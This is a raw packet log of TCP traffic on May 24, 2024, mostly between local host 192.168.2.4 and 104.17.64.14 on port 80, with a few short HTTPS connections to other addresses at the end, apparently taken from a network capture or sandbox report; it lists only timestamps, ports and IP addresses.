May 24, 2024 00:26:13.532732010 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532751083 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.532779932 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.532793999 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532830954 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532841921 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532861948 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.532867908 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532879114 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532890081 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532900095 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.532901049 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532928944 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.534076929 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.534091949 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.534101963 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.534112930 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.534148932 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.534173012 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.611257076 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611279964 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611296892 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611383915 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.611402035 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611418962 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611424923 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.611458063 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.611512899 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611529112 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611541986 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611558914 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.611562967 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.611602068 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.612251997 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.612268925 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.612330914 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.612335920 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.612349033 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.612389088 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.612466097 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.612484932 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.612523079 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.613063097 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.613080978 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.613095999 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.613133907 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.613244057 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.613260031 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.613287926 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.613307953 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.613347054 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.614047050 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.614063025 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.614105940 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.614212036 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.614228010 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.614274979 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.614301920 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.614319086 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.614356995 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.614377975 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615073919 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615089893 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615128994 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.615156889 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615174055 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615199089 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.615226030 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615241051 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615268946 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.615744114 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615763903 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615777969 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615794897 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.615804911 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615820885 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.615837097 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.615869999 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.616558075 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.616574049 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.616588116 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.616619110 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.616686106 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.616702080 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.616727114 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.617360115 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617376089 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617389917 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617415905 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.617428064 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.617461920 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617477894 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617573977 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617575884 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.617592096 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617651939 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.617750883 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617767096 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.617814064 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.618252039 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.618268013 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.618308067 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.618310928 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.618326902 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.618371010 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.618531942 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.619107962 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.619124889 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.619153023 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.619174004 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.619189978 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.619204044 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.619218111 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.619237900 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.619240046 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.619416952 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.619465113 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.620573044 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.620589972 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.620604038 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.620620012 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.620635033 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.620647907 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.620678902 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.620827913 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.620871067 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.623105049 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.623125076 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.623159885 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.623179913 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.623186111 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.623189926 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.623231888 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.623965979 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.624020100 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.624711990 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.624727964 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.624742031 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.624787092 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.625438929 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.625466108 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.625479937 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.625489950 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.625528097 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.627386093 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.627403021 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.627419949 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.627434969 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.627449989 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.627466917 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.627485037 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.627512932 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.628138065 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.628154039 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.628169060 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.628184080 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.628200054 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.628216982 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.628217936 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.628241062 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.628263950 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.629245043 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.629992008 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.630007029 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.630022049 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.630038023 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.630048990 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.630063057 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.630434036 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.630490065 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698164940 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698184967 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698230028 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698249102 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698319912 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698328018 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698349953 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698350906 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698368073 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698389053 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698390961 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698432922 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698522091 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698539019 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698605061 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698645115 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698659897 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698693991 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698759079 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698775053 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698791027 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698805094 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698807001 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.698837042 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.698986053 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.699001074 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.699017048 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.699032068 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.699038982 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.699065924 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.699183941 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.699199915 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.699214935 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.699230909 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.699234009 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.699268103 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.700468063 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.700484991 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.700500011 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.700531960 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.700903893 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.700918913 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.700943947 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701009035 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701024055 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701037884 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701045036 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701072931 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701138973 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701154947 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701172113 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701193094 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701287031 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701303959 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701318979 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701347113 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701370001 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701514006 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701530933 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701567888 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701689959 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701705933 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701720953 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701736927 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701736927 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701767921 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701888084 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701904058 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701919079 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701935053 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701936960 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701951981 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701967955 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.701968908 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.701992035 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.702159882 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702177048 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702191114 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702215910 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.702249050 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702264071 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702279091 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702285051 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.702295065 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702313900 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.702521086 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702536106 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702552080 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702553988 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.702569008 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702583075 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702586889 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.702600002 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702615023 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702619076 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.702652931 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.702966928 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702984095 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.702997923 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703013897 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703015089 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703031063 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703044891 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703056097 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703059912 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703085899 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703269958 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703294992 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703308105 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703377008 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703393936 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703408957 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703417063 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703428030 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703448057 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703636885 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703651905 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703668118 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703671932 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703684092 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703700066 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703706026 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703716040 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703732967 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.703737974 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.703771114 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704036951 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704052925 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704067945 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704083920 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704090118 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704099894 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704117060 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704119921 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704159021 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704333067 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704349995 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704365015 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704379082 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704394102 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704410076 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704411030 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704430103 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704447031 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704678059 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704691887 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704706907 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704726934 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704730034 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704744101 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704758883 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704761028 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704776049 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704792976 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.704797029 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.704826117 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.705048084 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.705065966 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.705080032 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.705100060 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.708405972 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.708462954 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.807073116 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.818032980 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.819724083 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:13.819756031 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:13.819835901 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:13.820636034 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:13.820648909 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:13.884977102 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:13.885068893 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:13.885171890 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:13.885432959 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:13.885467052 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.095968962 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:14.096313000 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:14.096385956 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:14.233668089 CEST	49675	443	192.168.2.4	173.222.162.32
